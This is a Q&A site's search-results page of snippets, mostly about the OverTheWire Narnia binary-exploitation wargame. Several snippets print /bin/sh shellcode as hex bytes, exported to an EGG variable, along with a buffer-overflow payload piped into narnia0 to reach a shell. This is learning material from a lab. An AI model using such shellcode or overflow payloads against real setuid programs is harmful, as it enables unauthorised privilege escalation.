Skip to main content
Search type Search syntax
Tags [tag]
Exact "words here"
Author user:1234
user:me (yours)
Score score:3 (3+)
score:0 (none)
Answers answers:3 (3+)
answers:0 (none)
isaccepted:yes
hasaccepted:no
inquestion:1234
Views views:250
Code code:"if (foo != bar)"
Sections title:apples
body:"apples oranges"
URL url:"*.example.com"
Saves in:saves
Status closed:yes
duplicate:no
migrated:no
wiki:no
Types is:question
is:answer
Exclude -[tag]
-apples
For more details on advanced search visit our help page
Results for narnia
Search options not deleted
0 votes
1 answer
266 views

Exporting shellcode to environment variable doesn't work as expected

(This is a question regarding a challenge in a wargame on overthewire.org called Narnia similar to Shellcode does not execute as the owner ) When exporting shellcode to EGG environment variable export … EGG=`python3 -c "import sys; sys.stdout.buffer.write(b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80')"` /narnia/narnia1 Give me something to execute at …
Black Hemera's user avatar
1 vote

Buffer overflow with zeros

There are so many tutorials on entry level buffer overflows out there (like any walkthrough for overthewire narnia). Working through any of them will answer a lot of questions. Have fun! …
manduca's user avatar
  • 1,121
0 votes
0 answers
236 views

Different gdb results

I'm trying to use overthewire narnia problems as a way to learn about binary exploitation and I'm getting different results than any of the walkthroughs I was looking at https://tuonilabs.wordpress.com … /2017/05/13/overthewire-narnia-write-up/ for 'Level 2' and started off by used peda to create a pattern - I ran the program with this pattern and it segfaulted - I used x/s $esp in gdb and got the value …
CWright's user avatar
  • 123
1 vote

Shellcode does not execute as the owner

shellcode string:- "\x6a\x31\x58\x31\xd2\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80" And here's how to use it:- narnia1@narnia … :/narnia$ export EGG=`python -c 'print "\x6a\x31\x58\x31\xd2\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"'` narnia1@narnia:/narnia
Echelon's user avatar
  • 111
1 vote
2 answers
3k views

Shellcode does not execute as the owner

narnia1@narnia:/narnia$ ls -la total 116 drwxr-xr-x 2 root root 4096 Nov 9 15:08 . drwxr-xr-x 25 root root 4096 Mar 12 09:58 .. … @narnia:/narnia$ . …
Lowell's user avatar
  • 11
2 votes
1 answer
2k views

Why is the setuid bit not working when I execute this binary?

I am currently going through the Narnia challenges on overthewire.org. For the 1-->2 challenge, I am running into an issue that I can't seem to get around. … I tried running my eggcode.c program in the narnia directory instead of the tmp, but that didn't work either. …
Joel B.'s user avatar
  • 21
1 vote
1 answer
753 views

Shell not always escalating privileges in narnia

I'm going through the various overthewire wargames and I have a question about narnia0. The code in c contains if(val==0xdeadbeef) system("/bin/sh"); else { printf("WAY OFF!!!!\n"); I got it to wor …
user3364161's user avatar
3 votes
0 answers
2k views

system("/bin/sh") exits without waiting for user input [OverTheWire narnia0 challenge] [closed]

\n"); exit(1); } return 0; } Sample run : narnia0@melinda:/narnia$ (python -c "print 'A'*20+'\xef\xbe\xad\xde'") | ./narnia0 Correct val's value from 0x41414141 -> 0xdeadbeef! … val: 0xdeadbeef narnia0@melinda:/narnia$ …
Rakesh Mane's user avatar
14 votes
Accepted

How difficult it was to crack Navajo's language during WW2?

In the case of AES 256 bit (two-way): [English with key] Find Potter and bring him to Narnia. The Death Star is ready for our war against the Time Lords. …
Mark Buffalo's user avatar
  • 22.6k